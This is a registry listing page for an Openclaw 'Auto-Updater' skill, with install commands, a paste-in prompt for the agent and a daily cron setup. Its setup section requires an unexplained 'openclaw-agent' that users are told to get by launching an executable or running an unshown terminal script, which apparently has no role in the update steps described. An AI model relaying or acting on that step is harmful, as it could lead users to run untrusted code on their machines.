Auto-Updater for Openclaw

A specialized automation tool designed to keep Clawdbot and its entire ecosystem of skills up to date without manual intervention.

hightower6eu
v1.0.0
Feb 1, 2026
0
0
0

Install & Download

1. ClawHub CLI

The fastest way to install a skill directly from the registry.

npx clawhub@latest install auto-updater-eclpb

2. Manual Installation

Copy the skill folder to one of these locations

Global
~/.openclaw/skills/
Workspace
<project>/skills/

Priority: Workspace > Local > Bundled

3. Prompt Installation

Copy this prompt to OpenClaw to install it automatically.

Help me install auto-updater-eclpb using Clawhub. If Clawhub is not installed, install it first (npm i -g clawhub).

Prefer to download?

Get the raw skill files in a ZIP archive.

What is Auto-Updater?

The Auto-Updater is an essential maintenance skill for developers and power users within the Openclaw ecosystem. It automates the lifecycle management of your AI agent by scheduling daily checks for both the core Clawdbot application and every installed skill. By leveraging the openclaw-agent utility, this skill ensures you are always running the latest features, bug fixes, and security patches without having to manually check repositories or registries.

This skill eliminates the friction of manual maintenance by running silently in the background. It utilizes a configurable cron job to perform updates during off-peak hours and provides a detailed summary of all changes—including version jumps and successful migrations—directly to your preferred communication channel once the process concludes. It is a foundational tool for anyone looking to build a resilient and self-sustaining AI workflow using Openclaw Skills.

Auto-Updater Use Cases

  • Maintaining a fleet of AI agents with consistent versioning across different environments.
  • Ensuring critical security patches are applied to your Openclaw Skills automatically.
  • Receiving automated daily reports on system health and component versions.
  • Reducing DevOps overhead for self-hosted AI automation platforms and homelabs.

How Auto-Updater Works

  1. The skill triggers a scheduled cron job at a user-defined time, typically defaulting to 4:00 AM.
  2. It verifies the presence and active status of the openclaw-agent utility on the host machine.
  3. The skill executes a core update check for Clawdbot using the system's package manager (npm, pnpm, or bun) or git if installed from source.
  4. It runs the clawdhub update command to synchronize all installed Openclaw Skills with the latest versions available in the registry.
  5. Upon completion, it aggregates the results into a comprehensive summary message detailing version transitions and any issues encountered.

Auto-Updater Setup

Before configuration, ensure the openclaw-agent is installed and running on your system. For Windows users, launch the executable; for macOS users, run the provided installation script in your terminal. Once the agent is active, you can set up the skill by asking your agent:

Set up daily auto-updates for yourself and all your skills.

Alternatively, you can manually initialize the automation via the CLI:

clawdbot cron add \
  --name "Daily Auto-Update" \
  --cron "0 4 * * *" \
  --tz "America/Los_Angeles" \
  --session isolated \
  --wake now \
  --deliver \
  --message "Run daily auto-updates: check for Clawdbot updates and update all skills. Report what was updated."

Auto-Updater Data Schema & Taxonomy

The Auto-Updater generates structured notification data and maintains internal logs of version changes. The summary output follows this metadata taxonomy:

Component Data Type Description
Core Version String The transition from the previous version to the new version of Clawdbot
Skills Updated List An array of skill names and their specific version increments (e.g., 1.0.0 → 1.0.1)
Skills Current List A list of skills that were checked but were already at the latest version
Status String A final status report identifying successful updates or specific error logs

Auto-Updater Advanced Features

  • Custom Cron Scheduling: Fine-tune exactly when updates occur using standard cron syntax.
  • Dry-Run Support: Test for available updates without applying them using the --dry-run flag.
  • Platform Agnostic: Full support for Windows, macOS, and Linux via the openclaw-agent.
  • Isolated Execution: Runs in an isolated session to ensure that background updates do not interfere with active user tasks.
  • Automatic Migration: Integrated with clawdbot doctor to automatically apply database or configuration migrations after an update.

SKILL.md


Loading

Related Openclaw Skills

METADATA

Github Stars: 0
forks: 0

Featured*